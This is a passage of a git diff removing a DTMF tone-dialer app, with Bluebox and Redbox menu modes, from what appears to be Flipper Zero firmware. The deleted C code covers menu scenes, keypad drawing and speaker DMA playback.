DTMF_DOLPHIN_TONE_BLOCK_MISC: - current_scene_data = &DTMFDolphinSceneDataMisc; - break; - default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER: - current_scene_data = &DTMFDolphinSceneDataDialer; - break; - } -} - -DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() { - return current_section; -} - -DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() { - return current_scene_data; -} - -bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - freq1[0] = tones.frequency_1; - freq2[0] = tones.frequency_2; - return true; - } - } - return false; -} - -bool dtmf_dolphin_data_get_filter_data( - uint16_t* pulses, - uint16_t* pulse_ms, - uint16_t* gap_ms, - uint8_t row, - uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - pulses[0] = tones.pulses; - pulse_ms[0] = tones.pulse_ms; - gap_ms[0] = tones.gap_duration; - return true; - } - } - return false; -} - -const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - return tones.name; - } - } - return NULL; -} - -const char* dtmf_dolphin_data_get_current_section_name() { - if(current_scene_data) { - return current_scene_data->name; - } - return NULL; -} - -void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) { - max_rows[0] = 0; - max_cols[0] = 0; - max_span[0] = 0; - uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0}; - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row > max_rows[0]) { - max_rows[0] = tones.pos.row; - } - if(tones.pos.col > max_cols[0]) { - max_cols[0] = tones.pos.col; - } - tmp_rowspan[tones.pos.row] += tones.pos.span; - if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row]; - } - max_rows[0]++; - max_cols[0]++; -} - -uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - return tones.pos.span; - } - } - return 0; -} diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h deleted file mode 100644 index 56ceaf03d..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once -#include -#include -#include - -#define DTMF_DOLPHIN_MAX_TONE_COUNT 16 - -typedef enum { - DTMF_DOLPHIN_TONE_BLOCK_DIALER, - DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA, - DTMF_DOLPHIN_TONE_BLOCK_MISC, -} DTMFDolphinToneSection; - -void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section); - -DTMFDolphinToneSection dtmf_dolphin_data_get_current_section(); - -bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col); - -bool dtmf_dolphin_data_get_filter_data( - uint16_t* pulses, - uint16_t* pulse_ms, - uint16_t* gap_ms, - uint8_t row, - uint8_t col); - -const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col); - -const char* dtmf_dolphin_data_get_current_section_name(); - -void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span); - -uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col); \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h deleted file mode 100644 index 525d0eb04..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -typedef enum { - DTMFDolphinEventVolumeUp = 0, - DTMFDolphinEventVolumeDown, - DTMFDolphinDialerOkCB, - DTMFDolphinEventStartDialer, - DTMFDolphinEventStartBluebox, - DTMFDolphinEventStartRedboxUS, - DTMFDolphinEventStartRedboxUK, - DTMFDolphinEventStartRedboxCA, - DTMFDolphinEventStartMisc, - DTMFDolphinEventPlayTones, - DTMFDolphinEventStopTones, - DTMFDolphinEventDMAHalfTransfer, - DTMFDolphinEventDMAFullTransfer, -} DTMFDolphinEvent; - -typedef struct { - DTMFDolphinEvent type; -} DTMFDolphinCustomEvent; \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c deleted file mode 100644 index b556c7145..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "dtmf_dolphin_hal.h" - -void dtmf_dolphin_speaker_init() { - LL_TIM_InitTypeDef TIM_InitStruct = {0}; - TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER; - TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD; - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); -} - -void dtmf_dolphin_speaker_start() { - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_speaker_stop() { - LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_dma_init(uint32_t address, size_t size) { - uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); - - LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetDataLength(DMA_INSTANCE, size); - - LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); - LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); - LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); - LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); - LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); - LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); - LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); - - LL_DMA_EnableIT_TC(DMA_INSTANCE); - LL_DMA_EnableIT_HT(DMA_INSTANCE); -} - -void dtmf_dolphin_dma_start() { - LL_DMA_EnableChannel(DMA_INSTANCE); - LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_dma_stop() { - LL_DMA_DisableChannel(DMA_INSTANCE); -} diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h deleted file mode 100644 index 5b426f6a0..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -#define FURI_HAL_SPEAKER_TIMER TIM16 -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 -#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 - -#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4 -#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255 - -#ifdef __cplusplus -extern "C" { -#endif - -void dtmf_dolphin_speaker_init(); - -void dtmf_dolphin_speaker_start(); - -void dtmf_dolphin_speaker_stop(); - -void dtmf_dolphin_dma_init(uint32_t address, size_t size); - -void dtmf_dolphin_dma_start(); - -void dtmf_dolphin_dma_stop(); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h deleted file mode 100644 index f8ae1530f..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include "scenes/dtmf_dolphin_scene.h" - -#include -#include -#include -// #include -// #include -#include -#include -#include - -#include "dtmf_dolphin_event.h" - -#include "views/dtmf_dolphin_dialer.h" - -#define TAG "DTMFDolphin" - -enum DTMFDolphinSceneState { - DTMFDolphinSceneStateDialer, - DTMFDolphinSceneStateBluebox, - DTMFDolphinSceneStateRedboxUS, - DTMFDolphinSceneStateRedboxUK, - DTMFDolphinSceneStateRedboxCA, - DTMFDolphinSceneStateMisc, -}; - -typedef struct { - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - VariableItemList* main_menu_list; - DTMFDolphinDialer* dtmf_dolphin_dialer; - - Gui* gui; - // ButtonPanel* dialer_button_panel; - // ButtonPanel* bluebox_button_panel; - // ButtonPanel* redbox_button_panel; - NotificationApp* notification; -} DTMFDolphinApp; - -typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView; diff --git a/applications/external/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png deleted file mode 100644 index 443f847c3..000000000 Binary files a/applications/external/dtmf_dolphin/phone.png and /dev/null differ diff --git a/applications/external/dtmf_dolphin/pics/dialer.jpg b/applications/external/dtmf_dolphin/pics/dialer.jpg deleted file mode 100644 index ff6fad7a8..000000000 Binary files a/applications/external/dtmf_dolphin/pics/dialer.jpg and /dev/null differ diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c deleted file mode 100644 index bfb8da1da..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "dtmf_dolphin_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const dtmf_dolphin_scene_on_enter_handlers[])(void*) = { -#include "dtmf_dolphin_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const dtmf_dolphin_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "dtmf_dolphin_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const dtmf_dolphin_scene_on_exit_handlers[])(void* context) = { -#include "dtmf_dolphin_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers dtmf_dolphin_scene_handlers = { - .on_enter_handlers = dtmf_dolphin_scene_on_enter_handlers, - .on_event_handlers = dtmf_dolphin_scene_on_event_handlers, - .on_exit_handlers = dtmf_dolphin_scene_on_exit_handlers, - .scene_num = DTMFDolphinSceneNum, -}; diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h deleted file mode 100644 index e45dc68ae..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id, -typedef enum { -#include "dtmf_dolphin_scene_config.h" - DTMFDolphinSceneNum, -} DTMFDolphinScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers dtmf_dolphin_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "dtmf_dolphin_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h deleted file mode 100644 index b6dab07dc..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(dtmf_dolphin, start, Start) -ADD_SCENE(dtmf_dolphin, dialer, Dialer) \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c deleted file mode 100644 index 06da595e0..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c +++ /dev/null @@ -1,49 +0,0 @@ -#include "../dtmf_dolphin_i.h" -// #include "../dtmf_dolphin_data.h" -// #include "../dtmf_dolphin_audio.h" - -void dtmf_dolphin_scene_dialer_on_enter(void* context) { - DTMFDolphinApp* app = context; - DTMFDolphinScene scene_id = DTMFDolphinSceneDialer; - enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id); - - switch(state) { - case DTMFDolphinSceneStateBluebox: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX); - break; - case DTMFDolphinSceneStateRedboxUS: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US); - break; - case DTMFDolphinSceneStateRedboxUK: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK); - break; - case DTMFDolphinSceneStateRedboxCA: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA); - break; - case DTMFDolphinSceneStateMisc: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC); - break; - default: - dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER); - break; - } - - view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer); -} - -bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) { - DTMFDolphinApp* app = context; - UNUSED(app); - UNUSED(event); - bool consumed = false; - - // if(event.type == SceneManagerEventTypeTick) { - // consumed = true; - // } - - return consumed; -} - -void dtmf_dolphin_scene_dialer_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c deleted file mode 100644 index 484e9e8eb..000000000 --- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../dtmf_dolphin_i.h" - -static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) { - DTMFDolphinApp* app = context; - uint8_t cust_event = 255; - switch(index) { - case 0: - cust_event = DTMFDolphinEventStartDialer; - break; - case 1: - cust_event = DTMFDolphinEventStartBluebox; - break; - case 2: - cust_event = DTMFDolphinEventStartRedboxUS; - break; - case 3: - cust_event = DTMFDolphinEventStartRedboxUK; - break; - case 4: - cust_event = DTMFDolphinEventStartRedboxCA; - break; - case 5: - cust_event = DTMFDolphinEventStartMisc; - break; - default: - return; - } - - view_dispatcher_send_custom_event(app->view_dispatcher, cust_event); -} - -void dtmf_dolphin_scene_start_on_enter(void* context) { - DTMFDolphinApp* app = context; - VariableItemList* var_item_list = app->main_menu_list; - - // VariableItem* item; - variable_item_list_set_enter_callback( - var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app); - - variable_item_list_add(var_item_list, "Dialer", 0, NULL, context); - variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context); - variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context); - variable_item_list_add(var_item_list, "Misc", 0, NULL, context); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu); -} - -bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) { - DTMFDolphinApp* app = context; - UNUSED(app); - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - uint8_t sc_state; - - switch(event.event) { - case DTMFDolphinEventStartDialer: - sc_state = DTMFDolphinSceneStateDialer; - break; - case DTMFDolphinEventStartBluebox: - sc_state = DTMFDolphinSceneStateBluebox; - break; - case DTMFDolphinEventStartRedboxUS: - sc_state = DTMFDolphinSceneStateRedboxUS; - break; - case DTMFDolphinEventStartRedboxUK: - sc_state = DTMFDolphinSceneStateRedboxUK; - break; - case DTMFDolphinEventStartRedboxCA: - sc_state = DTMFDolphinSceneStateRedboxCA; - break; - case DTMFDolphinEventStartMisc: - sc_state = DTMFDolphinSceneStateMisc; - break; - default: - return consumed; - } - scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state); - scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer); - - consumed = true; - } - return consumed; -} - -void dtmf_dolphin_scene_start_on_exit(void* context) { - DTMFDolphinApp* app = context; - variable_item_list_reset(app->main_menu_list); -} diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h deleted file mode 100644 index f2f4838d6..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once -#include "../dtmf_dolphin_event.h" -#include "../dtmf_dolphin_data.h" -#include "../dtmf_dolphin_audio.h" - -#define DTMF_DOLPHIN_NUMPAD_X 1 -#define DTMF_DOLPHIN_NUMPAD_Y 14 -#define DTMF_DOLPHIN_BUTTON_WIDTH 13 -#define DTMF_DOLPHIN_BUTTON_HEIGHT 13 -#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c deleted file mode 100644 index bdffa2313..000000000 --- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c +++ /dev/null @@ -1,350 +0,0 @@ -#include "dtmf_dolphin_dialer.h" - -#include - -typedef struct DTMFDolphinDialer { - View* view; - DTMFDolphinDialerOkCallback callback; - void* context; -} DTMFDolphinDialer; - -typedef struct { - DTMFDolphinToneSection section; - uint8_t row; - uint8_t col; - float freq1; - float freq2; - bool playing; - uint16_t pulses; - uint16_t pulse_ms; - uint16_t gap_ms; -} DTMFDolphinDialerModel; - -static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer); -static bool - dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event); - -void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) { - uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) + - (col * DTMF_DOLPHIN_BUTTON_WIDTH); - // (col * DTMF_DOLPHIN_BUTTON_PADDING); - uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) + - (row * DTMF_DOLPHIN_BUTTON_HEIGHT); - // (row * DTMF_DOLPHIN_BUTTON_PADDING); - - uint8_t span = dtmf_dolphin_get_tone_span(row, col); - - if(span == 0) { - return; - } - - canvas_set_color(canvas, ColorBlack); - - if(invert) - canvas_draw_rbox( - canvas, - left, - top, - (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - 2); - else - canvas_draw_rframe( - canvas, - left, - top, - (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2), - 2); - - if(invert) canvas_invert_color(canvas); - - canvas_set_font(canvas, FontSecondary); - // canvas_set_color(canvas, invert ? ColorWhite : ColorBlack); - canvas_draw_str_aligned( - canvas, - left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2), - top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2), - AlignCenter, - AlignCenter, - dtmf_dolphin_data_get_tone_name(row, col)); - - if(invert) canvas_invert_color(canvas); -} - -void draw_dialer(Canvas* canvas, void* _model) { - DTMFDolphinDialerModel* model = _model; - uint8_t max_rows; - uint8_t max_cols; - uint8_t max_span; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - canvas_set_font(canvas, FontSecondary); - - for(int r = 0; r < max_rows; r++) { - for(int c = 0; c < max_cols; c++) { - if(model->row == r && model->col == c) - draw_button(canvas, r, c, true); - else - draw_button(canvas, r, c, false); - } - } -} - -void update_frequencies(DTMFDolphinDialerModel* model) { - dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col); - dtmf_dolphin_data_get_filter_data( - &model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col); -} - -static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) { - DTMFDolphinDialerModel* model = _model; - if(model->playing) { - // Leverage the prioritized draw callback to handle - // the DMA so that it doesn't skip. - dtmf_dolphin_audio_handle_tick(); - // Don't do any drawing if audio is playing. - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned( - canvas, - canvas_width(canvas) / 2, - canvas_height(canvas) / 2, - AlignCenter, - AlignCenter, - "Playing Tones"); - return; - } - update_frequencies(model); - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name()); - canvas_draw_line( - canvas, - (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1, - 0, - (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1, - canvas_height(canvas)); - elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail"); - canvas_draw_line( - canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3); - // elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode"); - - draw_dialer(canvas, model); - - FuriString* output = furi_string_alloc(); - - if(model->freq1 && model->freq2) { - furi_string_cat_printf( - output, - "Dual Tone\nF1: %u Hz\nF2: %u Hz\n", - (unsigned int)model->freq1, - (unsigned int)model->freq2); - } else if(model->freq1) { - furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1); - } - - canvas_set_font(canvas, FontSecondary); - canvas_set_color(canvas, ColorBlack); - if(model->pulse_ms) { - furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms); - } - if(model->gap_ms) { - furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms); - } - elements_multiline_text( - canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output)); - - furi_string_free(output); -} - -static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) { - furi_assert(context); - DTMFDolphinDialer* dtmf_dolphin_dialer = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyRight) { - consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer); - } else if(event->key == InputKeyLeft) { - consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer); - } else if(event->key == InputKeyUp) { - consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer); - } else if(event->key == InputKeyDown) { - consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer); - } - - } else if(event->key == InputKeyOk) { - consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event); - } - - return consumed; -} - -static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) { - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->row; - while(span == 0 && cursor > 0) { - cursor--; - span = dtmf_dolphin_get_tone_span(cursor, model->col); - } - if(span != 0) { - model->row = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) { - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->row; - while(span == 0 && cursor < max_rows - 1) { - cursor++; - span = dtmf_dolphin_get_tone_span(cursor, model->col); - } - if(span != 0) { - model->row = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) { - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->col; - while(span == 0 && cursor > 0) { - cursor--; - span = dtmf_dolphin_get_tone_span(model->row, cursor); - } - if(span != 0) { - model->col = cursor; - } - }, - true); - return true; -} - -static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) { - uint8_t max_rows = 0; - uint8_t max_cols = 0; - uint8_t max_span = 0; - dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - uint8_t span = 0; - uint8_t cursor = model->col; - while(span == 0 && cursor < max_cols - 1) { - cursor++; - span = dtmf_dolphin_get_tone_span(model->row, cursor); - } - if(span != 0) { - model->col = cursor; - } - }, - true); - return true; -} - -static bool - dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) { - bool consumed = false; - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - if(event->type == InputTypePress) { - model->playing = dtmf_dolphin_audio_play_tones( - model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms); - } else if(event->type == InputTypeRelease) { - model->playing = !dtmf_dolphin_audio_stop_tones(); - } - }, - true); - - return consumed; -} - -static void dtmf_dolphin_dialer_enter_callback(void* context) { - furi_assert(context); - DTMFDolphinDialer* dtmf_dolphin_dialer = context; - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - model->col = 0; - model->row = 0; - model->section = 0; - model->freq1 = 0.0; - model->freq2 = 0.0; - model->playing = false; - }, - true); -} - -DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() { - DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer)); - - dtmf_dolphin_dialer->view = view_alloc(); - view_allocate_model( - dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel)); - - with_view_model( - dtmf_dolphin_dialer->view, - DTMFDolphinDialerModel * model, - { - model->col = 0; - model->row = 0; - model->section = 0; - model->freq1 = 0.0; - model->freq2 = 0.0; - model->playing = false; - }, - true); - - view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer); - view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback); - view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback); - view_set_enter_callback(dtmf_dolphin_dialer->view, 